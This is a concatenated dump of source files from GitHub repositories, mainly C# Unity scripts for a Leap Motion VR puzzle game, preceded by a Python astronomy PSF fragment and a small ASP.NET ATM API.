1-d array Returns ------- 3-d array """ psf = self.psf[i_t] #x = x.reshape(self.gal.shape) #ptr = np.zeros(psf.shape) """ #TODO: Formerly shift was self.sn_offset_y[i_t,k] and # self.sn_offset_x[i_t,k]. Need to ask Seb why this is so for k in range(self.nw): phase_shift_apodize = fft_shift_phasor_2d( [self.ny, self.nx], [self.sn_offset_y[i_t,k], self.sn_offset_x[i_t,k]], half=1, apodize=self.apodizer) ptr[k] = fft.fft(psf[k,:,:] * phase_shift_apodize) """ out = np.zeros(x.shape) if offset == None: for k in range(self.nw): out[k,:,:] = fft.ifft2(fft.fft2(psf[k,:,:]) * fft.fft2(x[k,:,:])) else: phase_shift = fft_shift_phasor_2d([self.ny, self.nx], offset) for k in range(self.nw): out[k,:,:] = fft.ifft2(fft.fft2(psf[k,:,:]) * phase_shift * fft.fft2(x[k,:,:])) return out # was in psf.py: def roll_psf(psf, dx, dy): """Rolls the psf by dx, dy in x and y coordinates. The equivalent of the Yorick version with job = 0 is dx, dy = (1 - sn_x, 1 - sn_y) [if sn_x = (nx+1)//2] or dx, dy = (-sn_x, -sn_y) [if sn_x = (nx-1)//2] # python indexed job=1 is Parameters ---------- psf : 4-d array dx, dy : int Shift in x and y coordinates. Returns ------- rolled_psf : 4-d array """ assert psf.ndim == 4 # just checkin' (in Yorick this is also used for 3-d) # but we haven't implemented that here. tmp = np.roll(psf, dy, 2) # roll along y (axis = 2) return np.roll(tmp, dx, 3) # roll along x (axis = 3) # was in adr.py def calc_airmass(ha, dec): cos_z = (np.sin(SNIFS_LATITUDE) * np.sin(dec) + np.cos(SNIFS_LATITUDE) * np.cos(dec) * np.cos(ha)) return 1./cos_z
8eff7223348690f7ed011442eaaded40f5f1fe6a
[ "Python", "reStructuredText" ]
9
Python
silky/ddtpy
0837fd9e7d76ed25de9662396ddcea2e8eccd0f6
0126c9bcb356c2592db33d3b8159492e85f4d3a7
refs/heads/main
<repo_name>ppajohn/caixaeletronicoAPI<file_sep>/docker/pgdev/myapi/Models/Cliente.cs using System.ComponentModel.DataAnnotations; namespace myapi.Models { public class Cliente { [Key] public int ClienteId { get; set; } [Required] public int CaixaEletronicoId { get; set; } [Required] public string Nome { get; set; } [Required] public int Saldo { get; set; } } }<file_sep>/docker/pgdev/myapi/Controllers/CaixaEletronicoController.cs using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; namespace myapi.Controllers{ [ApiController] [Route("v1/add")] public class CaixaEletronicoController : ControllerBase { [HttpGet] [Route("")] public async Task<ActionResult<List<CaixaEletronico>>> Get([FromServices] DataContext context){ var CaixaEletronico = await ControllerContext.CaixaEletronico.ToListAsync(); return CaixaEletronicoController; } } <file_sep>/docker/pgdev/myapi/Models/CaixaEletronico.cs using System.Collections.Generic; using System.ComponentModel.DataAnnotations; namespace myapi.Models { public class CaixaEletronico { [Key] public int CaixaEletronicoId { get; set; } [Required] public List<Cliente> Clientes { get; set; } } }
2e32435c35b770e7c01219d316510b8d35427d5c
[ "C#" ]
3
C#
ppajohn/caixaeletronicoAPI
27862c53541381073bfacf43e5dca3dc333d88ec
596b61ca70273381c14fef28ee16d6eccf4b5b9c
refs/heads/master
<file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap.Unity.Interaction; public class PowerSlider : MonoBehaviour { public InteractionSlider slider; private Vector2 p1, p2, p3; private const float close_limit = 0.03f; private const float far_limit = 0.3f; private int finishedPoints; private bool completed; public GameObject cube; private Renderer cubeRenderer; public GameObject light1, light2, light3; private Renderer light1R, light2R,light3R; // Use this for initialization void Start () { finishedPoints = 0; completed = false; initialiseSolution(); cubeRenderer = cube.GetComponent<Renderer>(); light1R = light1.GetComponent<Renderer>(); light2R = light2.GetComponent<Renderer>(); light3R = light3.GetComponent<Renderer>(); } // Update is called once per frame void Update () { if(!completed){ Vector2 temp = new Vector2(slider.HorizontalSliderPercent, slider.VerticalSliderPercent); float dist1 = Vector2.Distance(p1, temp); float dist2 = Vector2.Distance(p2, temp); float dist3 = Vector2.Distance(p3, temp); if(dist1 <= close_limit){ processPoint(1); } else if(dist2 <= close_limit){ processPoint(2); } else if(dist3 <= close_limit){ processPoint(3); } float minDist = Mathf.Min(dist1, dist2); minDist = Mathf.Min(dist3, minDist); if(minDist >= far_limit){ cubeRenderer.material.color = Color.red; } else if(minDist <= close_limit){ cubeRenderer.material.color = Color.green; } else { float range = far_limit - close_limit; float t = (far_limit - minDist) / range; cubeRenderer.material.color = Color.Lerp(Color.red, Color.green, t); } if(finishedPoints == 3){ completed = true; } } } private void initialiseSolution(){ p1 = new Vector2(Random.Range(0.0f, 0.3f), Random.Range(0.0f, 1.0f)); p2 = new Vector2(Random.Range(0.7f, 1.0f), Random.Range(0.0f, 1.0f)); p3 = new Vector2(Random.Range(0.0f, 1.0f), Random.Range(0.0f, 1.0f)); float dist1 = Vector2.Distance(p1, p3); float dist2 = Vector2.Distance(p2, p3); while(dist1 < 0.4f || dist2 < 0.4f){ p3 = new Vector2( Random.Range(0.0f, 1.0f), Random.Range(0.0f, 1.0f)); dist1 = Vector2.Distance(p1, p3); dist2 = Vector2.Distance(p2, p3); } } private void processPoint(int index){ finishedPoints++; switch(index){ case 1: p1.x = 10.0f; p1.y = 10.0f; break; case 2: p2.x = 10.0f; p2.y = 10.0f; break; case 3: p3.x = 10.0f; p3.y = 10.0f; break; } switch(finishedPoints){ case 1: light1R.material.color = Color.green; break; case 2: light2R.material.color = Color.green; break; case 3: light3R.material.color = Color.green; break; } } public bool isCompleted(){ return completed; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; using TMPro; public class IntroSceneController : AbstractController { private TextMeshProUGUI text; public GameObject textObj, textPanel, handModels, leapMotion, buttonObj, continueSliderObj; private Slider continueSlider; override protected void initialiseSlidersAndDicts(){ dict = new Dictionary<string, Slider>(); dict2 = new Dictionary<Slider, GameObject>(); continueSlider = continueSliderObj.GetComponent<Slider>(); dict.Add("continueSlider", continueSlider); dict2.Add(continueSlider, continueSliderObj); } override protected void updateSliders(){ if(hovering){ if(dict[activeSlider].value < 1.0f){ float elapsed = Time.time - timer; dict[activeSlider].value = elapsed / hoverDuration; } else { SceneManager.LoadScene(1); } } else { foreach(Slider slider in dict.Values){ slider.value = 0.0f; deactivateSliders(); } } } private void Awake() { //Get GameObjects textObj = GameObject.Find("IntroText"); textPanel = GameObject.Find("TextPanel"); text = textObj.GetComponent<TextMeshProUGUI>(); textObj.SetActive(false); textPanel.SetActive(false); buttonObj.SetActive(false); handModels.SetActive(false); leapMotion.SetActive(false); //buttonObj.SetActive(true); //handModels.SetActive(true); //leapMotion.SetActive(true); GameController.State = GameController.START; StartCoroutine("Intro"); } IEnumerator Intro() { // Time to start yield return new WaitForSeconds(3); textObj.SetActive(true); textPanel.SetActive(true); text.text = "Hello! Welcome to THE COMPLEX."; yield return new WaitForSeconds(3); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "There are 6 levels in total for you to complete"; yield return new WaitForSeconds(4); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "In a short while you will be sent to a room known as the Main Menu where you will be faced with multiple doors"; yield return new WaitForSeconds(8); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "It is said that within the left door there are 2 challenges focusing on the movement of objects and complex mechanisms..."; yield return new WaitForSeconds(8); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "... and that within the right door there are 2 rooms full of complicated puzzles that test your memory and wit"; yield return new WaitForSeconds(7); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "As for the last 2 rooms..."; yield return new WaitForSeconds(3.5f); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "...nobody has been able to find them yet"; yield return new WaitForSeconds(3.5f); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "But there is a rumor that the challenges within them are combinations of the previous rooms"; yield return new WaitForSeconds(7); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "In order to tackle these rooms, you have a special finger tracking device before you"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "This device is known as the LEAP Motion Controller"; yield return new WaitForSeconds(5); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "This device can track both of your hands and allow you to interact with THE COMPLEX"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "It is not perfect, so please be patient with it"; yield return new WaitForSeconds(4); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "Also make sure any actions you perform can be seen clearly by the device"; yield return new WaitForSeconds(5); text.text = ""; yield return new WaitForSeconds(0.5f); text.color = Color.green; text.text = "Hand tracking is now enabled"; leapMotion.SetActive(true); handModels.SetActive(true); yield return new WaitForSeconds(4); text.text = ""; yield return new WaitForSeconds(0.5f); text.color = Color.white; text.text = "Feel free to move your hand around to get a feel for the Leap Motion's capabilities"; yield return new WaitForSeconds(7); text.text = ""; yield return new WaitForSeconds(0.5f); text.text = "When you have finished simply point at the button in front of you to continue"; buttonObj.SetActive(true); yield return new WaitForSeconds(6); text.text = ""; textObj.SetActive(false); textPanel.SetActive(false); yield return null; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class Level1AController : AbstractLController { public Image tube1, tube2, tube3, tube4, door; public GameObject runes, emptyRunes, runeBalls; private bool objectPuzzleCompleted = false, fillingDoor = false; public ObjectHolder holder1, holder2, holder3, holder4; private static float doorFillDuration = 5.0f; override protected void initialiseTubes(){ tube1.fillAmount = 0.0f; tube2.fillAmount = 0.0f; tube3.fillAmount = 0.0f; tube4.fillAmount = 0.0f; tubes = 4; door.fillAmount = 0.0f; } override protected void updateTubes(){ switch(filling){ case 1: fillTube(tube1); break; case 2: fillTube(tube2); break; case 3: fillTube(tube3); break; case 4: fillTube(tube4); break; } } override protected void checkLevelSpecificCriteria(){ if(!objectPuzzleCompleted){ if(holder1.isLocked() && holder2.isLocked() && holder3.isLocked() && holder4.isLocked()){ objectPuzzleCompleted = true; emptyRunes.SetActive(false); runes.SetActive(true); runeBalls.SetActive(true); } } if(complete){ if(!fillingDoor){ timer = Time.time; fillingDoor = true; } processCompletion(); } } private void processCompletion(){ float elapsed = Time.time - timer; if(door.fillAmount < 1.0f){ door.fillAmount = elapsed / doorFillDuration; } if(door.fillAmount >= 1.0f){ SceneManager.LoadScene(5); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using TMPro; using UnityEngine.UI; using UnityEngine.SceneManagement; public class Level2Controller : MonoBehaviour { private bool levelCompleted = false; // Completion state of entire level public UpDownNavigation navigation; public LeftRightNavigation horz_navigation; public Image door; private static float doorFillDuration = 5.0f; private float timer = 0.0f; private bool fillingDoor = false; [Header("Level 2-1 Attributes")] public bool firstLevel = true; public Puzzle colourPuzzle; public Puzzle shapePuzzle; public PowerPuzzle powerPuzzle; private bool cpCompleted = false, spCompleted = false, ppCompleted = false; // Completion state of each of the 3 puzzles public GameObject colourLight, shapeLight, powerLight; public GameObject miniLightLeft, miniLightMiddle, miniLightRight; public Material[] materials; private Renderer colourLightRend, shapeLightRend, powerLightRend; private Renderer leftMiniRend, middleMiniRend, rightMiniRend; private int[] lightSolution; private int[] solutionState; [Header("Level 2-2 Attributes")] public bool secondLevel = false; public ImagePuzzle leftPuzzle; public ImagePuzzle rightPuzzle; public PowerPuzzle backPuzzle; private bool leftCompleted = false, rightCompleted = false, backCompleted = false; // Completion state of each of the 3 puzzles public GameObject leftLight, rightLight, backLight; public Material[] materials_2; private Renderer leftLightRend, rightLightRend, backLightRend; private int[] mathsSolution; private int[] digitState; private int mathsAnswer = -1; public TextMeshProUGUI digitLeft, digitMiddle, digitRight; // Use this for initialization void Start () { if(firstLevel){ initialiseSolutions(); colourLightRend = colourLight.GetComponent<Renderer>(); shapeLightRend = shapeLight.GetComponent<Renderer>(); powerLightRend = powerLight.GetComponent<Renderer>(); leftMiniRend = miniLightLeft.GetComponent<Renderer>(); middleMiniRend = miniLightMiddle.GetComponent<Renderer>(); rightMiniRend = miniLightRight.GetComponent<Renderer>(); } else if(secondLevel){ initialiseSolutions(); leftLightRend = leftLight.GetComponent<Renderer>(); rightLightRend = rightLight.GetComponent<Renderer>(); backLightRend = backLight.GetComponent<Renderer>(); } } // Update is called once per frame void Update () { if(!levelCompleted){ if(firstLevel){ if(!cpCompleted && colourPuzzle.isCompleted()) { cpCompleted = true; turnLightOn(1); } if(!spCompleted && shapePuzzle.isCompleted()) { spCompleted = true; turnLightOn(2); } if(!ppCompleted && powerPuzzle.isCompleted()) { ppCompleted = true; turnLightOn(3); } } else if(secondLevel){ if(!leftCompleted && leftPuzzle.isCompleted()) { leftCompleted = true; turnLightOn(1); } if(!rightCompleted && rightPuzzle.isCompleted()) { rightCompleted = true; turnLightOn(2); } if(!backCompleted && backPuzzle.isCompleted()) { backCompleted = true; turnLightOn(3); } } } else { navigation.activate(); navigation.moveCameraUpandLock(); horz_navigation.deactivate(); if(!fillingDoor){ timer = Time.time; fillingDoor = true; } processCompletion(); } } private void processCompletion(){ float elapsed = Time.time - timer; if(door.fillAmount < 1.0f){ door.fillAmount = elapsed / doorFillDuration; } if(door.fillAmount >= 1.0f){ if(firstLevel){ SceneManager.LoadScene(7); } else { GameController.State = GameController.RIGHT_FINISHED; SceneManager.LoadScene(1); } } } private void initialiseSolutions(){ // Index 0 - colour, Index 1 - shape, Index 2 - power if(firstLevel){ lightSolution = new int[3]; solutionState = new int[3]; solutionState[0] = -1; solutionState[1] = -1; solutionState[2] = -1; lightSolution[0] = Random.Range(0, 5); // Generate a number between 0-4 inclusive lightSolution[1] = Random.Range(0, 5); lightSolution[2] = Random.Range(0, 5); while(lightSolution[1] == lightSolution[0]) lightSolution[1] = Random.Range(0, 5); while(lightSolution[2] == lightSolution[1] || lightSolution[2] == lightSolution[0] ) lightSolution[2] = Random.Range(0, 5); } else { mathsSolution = new int[3]; digitState = new int[3]; digitState[0] = 0; digitState[1] = 0; digitState[2] = 0; digitLeft.text = "0"; digitMiddle.text = "0"; digitRight.text = "0"; mathsSolution[0] = Random.Range(0, 10); // Generate a number between 0-9 inclusive mathsSolution[1] = Random.Range(1, 10); mathsSolution[2] = Random.Range(0, 10); while(mathsSolution[1] == mathsSolution[0]) mathsSolution[1] = Random.Range(1, 10); while(mathsSolution[2] == mathsSolution[1] || mathsSolution[2] == mathsSolution[0] ) mathsSolution[2] = Random.Range(0, 10); mathsAnswer = (mathsSolution[0] + mathsSolution[2]) * mathsSolution[1]; } } private void turnLightOn(int index){ if(firstLevel){ switch(index){ case 1: colourLightRend.material = materials[lightSolution[0]]; break; case 2: shapeLightRend.material = materials[lightSolution[1]]; break; case 3: powerLightRend.material = materials[lightSolution[2]]; break; default: Debug.LogError("Invalid Light Index"); break; } } else { switch(index){ case 1: leftLightRend.material = materials_2[mathsSolution[0]]; break; case 2: rightLightRend.material = materials_2[mathsSolution[1]]; break; case 3: backLightRend.material = materials_2[mathsSolution[2]]; break; default: Debug.LogError("Invalid Light Index"); break; } } } public void toggleMiniLights(int index){ switch(index){ case 1: int temp1 = solutionState[0] + 1; if(temp1 > 4) temp1 = 0; solutionState[0] = temp1; leftMiniRend.material = materials[solutionState[0]]; break; case 2: int temp11 = solutionState[0] + 1; int temp22 = solutionState[1] + 1; int temp33 = solutionState[2] + 1; if(temp11 > 4) temp11 = 0; if(temp22 > 4) temp22 = 0; if(temp33 > 4) temp33 = 0; solutionState[0] = temp11; solutionState[1] = temp22; solutionState[2] = temp33; leftMiniRend.material = materials[solutionState[0]]; middleMiniRend.material = materials[solutionState[2]]; rightMiniRend.material = materials[solutionState[1]]; break; case 3: int temp3 = solutionState[1] + 1; if(temp3 > 4) temp3 = 0; solutionState[1] = temp3; rightMiniRend.material = materials[solutionState[1]]; break; default: Debug.LogError("Invalid Light Index"); break; } checkSolution(); } public void toggleDigits(int index){ switch(index){ case 1: int temp1 = digitState[0] + 1; if(temp1 > 9) temp1 = 0; digitState[0] = temp1; digitLeft.text = "" + digitState[0]; break; case 2: int temp2 = digitState[1] + 1; if(temp2 > 9) temp2 = 0; digitState[1] = temp2; digitMiddle.text = "" + digitState[1]; break; case 3: int temp3 = digitState[2] + 1; if(temp3 > 9) temp3 = 0; digitState[2] = temp3; digitRight.text = "" + digitState[2]; break; default: Debug.LogError("Invalid Digit Index"); break; } checkSolution(); } private void checkSolution(){ if(firstLevel){ if(cpCompleted && spCompleted && ppCompleted){ int remaining = 3; for(int i = 0; i < 3; i++){ if(lightSolution[i] == solutionState[i]) remaining--; } if(remaining == 0){ levelCompleted = true; } } } else { if(leftCompleted && rightCompleted && backCompleted){ int solution = (100*digitState[0]) + (10*digitState[1]) + (digitState[2]); levelCompleted = solution == mathsAnswer; } } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ShapePuzzle : Puzzle { override protected int getData(PuzzleButton b){ return b.shape; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public abstract class Puzzle : MonoBehaviour { public PuzzleButton[] buttons; protected bool completed; protected bool toggled = false; protected int matched = 0; private PuzzleButton toggledButton; void Start () { completed = false; } void Update () { if(Input.GetKeyDown(KeyCode.M)){ completed = true; } //int matchedTiles = 0; //foreach(PuzzleButton b in buttons){ // if(b.isMatched()) matchedTiles++; //} } public bool isCompleted(){ return completed; } public void toggleReceived(PuzzleButton b){ if(!toggled){ toggled = true; toggledButton = b; } else { if(getData(toggledButton) == getData(b) && toggledButton.id != b.id){ matched++; toggledButton.setMatched(); b.setMatched(); if(matched == 8) completed = true; } else { toggledButton.autoToggle(); b.autoToggle(); } toggled = false; toggledButton = null; } } protected abstract int getData(PuzzleButton b); } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class RomanMathPuzzle : MonoBehaviour { private const int answer = 78; private bool completed; private int left = -1; private int right = -1; public GameObject light1, light2; // Use this for initialization void Start () { completed = false; } public bool isCompleted(){ return completed; } public void updateLeft(int i){ left = i; checkSolution(); } public void updateRight(int i){ right = i; checkSolution(); } private void checkSolution(){ if(!completed){ if(left >= 0 && right >= 0){ if(left+right == answer){ completed = true; light1.GetComponent<Renderer>().material.color = Color.green; light2.GetComponent<Renderer>().material.color = Color.green; } } } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public abstract class AbstractLController : MonoBehaviour { protected int filling = 0; //0 - No Tubes active, n - Tube n being filled protected int tubes = -1; protected int filled = 0; protected float timer = 0.0f; protected float fillDuration = 2.5f; protected bool complete = false; public UpDownNavigation navigation; // Use this for initialization void Start () { initialiseTubes(); } // Update is called once per frame void Update () { updateTubes(); if(!complete){ if(filled == tubes) complete = true; }; checkLevelSpecificCriteria(); } public void activate(int n){ filling = n; timer = Time.time; } protected abstract void initialiseTubes(); protected abstract void updateTubes(); protected abstract void checkLevelSpecificCriteria(); protected void fillTube(Image tube){ float elapsed = Time.time - timer; if(tube.fillAmount < 1.0f){ tube.fillAmount = elapsed / fillDuration; } if(tube.fillAmount >= 1.0f){ filling = 0; filled++; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ImagePuzzle : MonoBehaviour { private bool completed; public ImageTile[] center, left, right; private int[] original, leftSolution, rightSolution; //public Renderer light; public bool rightWall = true; // Use this for initialization void Start () { completed = false; original = new int[9]; leftSolution = new int[9]; rightSolution = new int[9]; initialiseTiles(); initialiseSolutions(); } // Update is called once per frame void Update () { if(!completed){ checkSolution(); } } public bool isCompleted(){ return completed; } private void initialiseTiles(){ List<int> indices = new List<int>(){0,1,2,3,4,5,6,7,8}; for(int i = 1; i <= 4; i++){ for(int j = 0; j <= 1; j++){ int index = Random.Range(0, indices.Count); center[indices[index]].setColour(i); left[indices[index]].setColour(i); right[indices[index]].setColour(i); original[indices[index]] = i; indices.RemoveAt(index); } } int colour = Random.Range(1, 5); center[indices[0]].setColour(colour); left[indices[0]].setColour(colour); right[indices[0]].setColour(colour); original[indices[0]] = colour; } private void initialiseSolutions(){ if(rightWall){ leftSolution[0] = original[2]; leftSolution[1] = original[5]; leftSolution[2] = original[8]; leftSolution[3] = original[1]; leftSolution[4] = original[4]; leftSolution[5] = original[7]; leftSolution[6] = original[0]; leftSolution[7] = original[3]; leftSolution[8] = original[6]; rightSolution[0] = original[6]; rightSolution[1] = original[3]; rightSolution[2] = original[0]; rightSolution[3] = original[7]; rightSolution[4] = original[4]; rightSolution[5] = original[1]; rightSolution[6] = original[8]; rightSolution[7] = original[5]; rightSolution[8] = original[2]; } else { leftSolution[0] = original[8]; leftSolution[1] = original[7]; leftSolution[2] = original[6]; leftSolution[3] = original[5]; leftSolution[4] = original[4]; leftSolution[5] = original[3]; leftSolution[6] = original[2]; leftSolution[7] = original[1]; leftSolution[8] = original[0]; rightSolution[0] = original[2]; rightSolution[1] = original[5]; rightSolution[2] = original[8]; rightSolution[3] = original[1]; rightSolution[4] = original[4]; rightSolution[5] = original[7]; rightSolution[6] = original[0]; rightSolution[7] = original[3]; rightSolution[8] = original[6]; } } private void checkSolution(){ int correct = 0; // 9 = complete for(int i = 0; i < 9; i++){ //Debug.Log("Index: " + i + " - Left: " + left[i].getColour() + "-" + leftSolution[i] + " - Right:" + right[i].getColour() + "-" + rightSolution[i]); if(left[i].getColour() == leftSolution[i] && right[i].getColour() == rightSolution[i]){ correct++; } } if(correct == 9){ completed = true; //light.material.color = Color.green; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class Customiser : Holder { override protected void setRuneBall(RuneBall ball){ this.ball = ball; containsBall = true; } public void onColourButtonPressed(){ if(containsBall && ball != null){ ball.changeColour(); } } public void onNumberButtonPressed(){ if(containsBall && ball != null){ ball.changeNumber(); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public abstract class AbstractHolder : MonoBehaviour { public GameObject highlight; public Transform ballPosition; protected int colliding = 0; protected bool containsBall = false; protected MathBall ball; protected bool locked = false; void Awake () { highlight.SetActive(false); } void Start () { } // Update is called once per frame void Update () { if(locked && ball != null){ ball.freeze(); } if(containsBall){ updateValue(); } } public void ChildTriggerEnter(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals("MathBall")){ colliding++; highlight.SetActive(true); } } } public void ChildTriggerExit(Collider collision) { GameObject go = collision.gameObject; if(go.tag.Equals("MathBall")){ colliding--; if(colliding == 0){ highlight.SetActive(false); containsBall = false; ball = null; } } } public void ChildTriggerStay(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals("MathBall")){ MathBall mathBall = go.GetComponent<MathBall>(); if(!mathBall.isGrasped()){ highlight.SetActive(false); go.transform.position = ballPosition.position; //TWEAK THIS go.transform.rotation = ballPosition.rotation; mathBall.stopContact(); setBall(mathBall); } else { highlight.SetActive(true); } } } } private void setBall(MathBall ball){ this.ball = ball; containsBall = true; } protected abstract void updateValue(); } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public abstract class AbstractController : MonoBehaviour { protected bool hovering = false; protected float hoverDuration = 1.0f; protected float timer = 0.0f; protected Dictionary<string, Slider> dict; protected Dictionary<Slider, GameObject> dict2; protected string activeSlider = ""; // Use this for initialization void Start () { initialiseSlidersAndDicts(); deactivateSliders(); } // Update is called once per frame void Update () { updateSliders(); } public void startedHovering(string sliderName){ if(!hovering){ if(sliderName.Equals("exitSlider")){ hoverDuration = 2.0f; } else { hoverDuration = 1.0f; } activeSlider = sliderName; hovering = true; timer = Time.time; dict2[dict[sliderName]].SetActive(true); } } protected void deactivateSliders(){ foreach(GameObject obj in dict2.Values){ obj.SetActive(false); } } protected abstract void initialiseSlidersAndDicts(); protected abstract void updateSliders(); public void stoppedHovering(){ hovering = false; activeSlider = ""; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap; using Leap.Unity; public class LeftRightNavigation : MonoBehaviour { public LeapProvider LeapDataProvider; public GameObject leapRig; public GameObject point1, point2, point3, point4; private float timer = 0.0f; private float duration = 0.2f; private int timerState = 0; // 0 - not active, 1 - timing left movement, 2 - timing right movement private int cameraState = 0; // 0 - not moving, 1 - moving right, 2 - moving left [HideInInspector] public int facing = 0; // 0 - front, 1 - right, 2 - back, 3 - left private Vector3 targetPosition; private Quaternion targetRotation; private bool leftPalmLeft = false; private bool rightPalmLeft = false; private bool leftPalmRight = false; private bool rightPalmRight = false; private bool reset = false; private Frame curFrame; public int start; private bool lockLeft = false; private bool lockRight = false; public bool active = true; // Use this for initialization void Start () { switch(start){ case 1: targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; facing = 0; return; case 2: targetPosition = point2.transform.position; targetRotation = point2.transform.rotation; facing = 1; return; case 3: targetPosition = point3.transform.position; targetRotation = point3.transform.rotation; facing = 2; return; case 4: targetPosition = point4.transform.position; targetRotation = point4.transform.rotation; facing = 3; return; default: targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; facing = 0; return; } } // Update is called once per frame void Update () { if(active){ curFrame = LeapDataProvider.CurrentFrame; if(!leftPalmLeft && !rightPalmLeft && !leftPalmRight && !rightPalmRight){ reset = false; } if(cameraState == 0 && curFrame.Hands.Count == 2){ if(!reset){ if(leftPalmRight && rightPalmRight && !lockLeft){ if(timerState == 0 || timerState == 1){ timer = Time.time; timerState = 1; } else if(timerState == 2){ moveCameraRight(); } } else if(leftPalmLeft && rightPalmLeft && !lockRight){ if(timerState == 0 || timerState == 2){ timer = Time.time; timerState = 2; } else if(timerState == 1){ moveCameraLeft(); } } else { if(Time.time - timer >= duration){ if(timerState == 1){ moveCameraLeft(); } else if(timerState == 2){ moveCameraRight(); } } } } } else { leapRig.transform.rotation = Quaternion.Lerp (leapRig.transform.rotation, targetRotation , 10 * Time.deltaTime); leapRig.transform.position = Vector3.Lerp (leapRig.transform.position, targetPosition , 10 * Time.deltaTime); if(leapRig.transform.position == targetPosition){ cameraState = 0; } } } } public void setLeftPalmLeft(bool b){ leftPalmLeft = b; } public void setRightPalmLeft(bool b){ rightPalmLeft = b; } public void setLeftPalmRight(bool b){ leftPalmRight = b; } public void setRightPalmRight(bool b){ rightPalmRight = b; } public void moveCameraLeft(){ reset = true; timerState = 0; cameraState = 2; switch(facing){ case 0: facing = 3; targetPosition = point4.transform.position; targetRotation = point4.transform.rotation; break; case 1: facing = 0; targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; break; case 2: facing = 1; targetPosition = point2.transform.position; targetRotation = point2.transform.rotation; break; case 3: facing = 2; targetPosition = point3.transform.position; targetRotation = point3.transform.rotation; break; } } public void moveCameraRight(){ reset = true; timerState = 0; cameraState = 1; switch(facing){ case 0: facing = 1; targetPosition = point2.transform.position; targetRotation = point2.transform.rotation; break; case 1: facing = 2; targetPosition = point3.transform.position; targetRotation = point3.transform.rotation; break; case 2: facing = 3; targetPosition = point4.transform.position; targetRotation = point4.transform.rotation; break; case 3: facing = 0; targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; break; } } public void lockLeftMovement(bool b){ lockLeft = b; } public void lockRightMovement(bool b){ lockRight = b; } public void activate(){ active = true; } public void deactivate(){ active = false; } public void moveToState(int i){ switch(i){ case 1: targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; facing = 0; return; case 2: targetPosition = point2.transform.position; targetRotation = point2.transform.rotation; facing = 1; return; case 3: targetPosition = point3.transform.position; targetRotation = point3.transform.rotation; facing = 2; return; case 4: targetPosition = point4.transform.position; targetRotation = point4.transform.rotation; facing = 3; return; default: targetPosition = point1.transform.position; targetRotation = point1.transform.rotation; facing = 0; return; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class RomanMathHolder : MonoBehaviour { public GameObject highlight; public Transform ballPosition; public RomanMathPuzzle puzzle; private int colliding = 0; private bool containsBall = false; public int value; public bool left = true; private string ballTag = ""; void Awake () { highlight.SetActive(false); } void Start(){ if(left){ ballTag = "RedBall"; } else { ballTag = "BlueBall"; } } public void ChildTriggerEnter(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals(ballTag)){ colliding++; highlight.SetActive(true); } } } public void ChildTriggerExit(Collider collision) { GameObject go = collision.gameObject; if(go.tag.Equals(ballTag)){ colliding--; if(colliding == 0){ highlight.SetActive(false); containsBall = false; updatePuzzle(-1); } } } public void ChildTriggerStay(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals(ballTag)){ RomanBall ball = go.GetComponent<RomanBall>(); if(!ball.isGrasped()){ highlight.SetActive(false); go.transform.position = ballPosition.position; //TWEAK THIS go.transform.rotation = ballPosition.rotation; ball.stopContact(); containsBall = true; updatePuzzle(value); } else { highlight.SetActive(true); } } } } private void updatePuzzle(int i){ if(left){ puzzle.updateLeft(i); } else { puzzle.updateRight(i); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Video; using UnityEngine.UI; using UnityEngine.SceneManagement; using TMPro; public class Tutorial1Controller : MonoBehaviour { public VideoPlayer player; public GameObject videoPlane; public TextMeshProUGUI topText, bottomText; public GameObject topLight, bottomLight; public GameObject handModels, leapMotion; public GameObject upIndicator, downIndicator; private bool facingUp; private int state; // 0 - start (up), 1 - down first time, 2 - up first time, 3 - down second time, 4 - up second time, 5 - finished private UpDownNavigation navigation; public Material[] materials; private Renderer rendererUp, rendererDown; void Awake() { handModels.SetActive(false); leapMotion.SetActive(false); videoPlane.SetActive(false); downIndicator.SetActive(false); upIndicator.SetActive(false); player.playOnAwake = false; player.isLooping = true; topText.text = ""; bottomText.text = ""; facingUp = true; state = 0; } void Start() { navigation = GetComponent<UpDownNavigation>(); 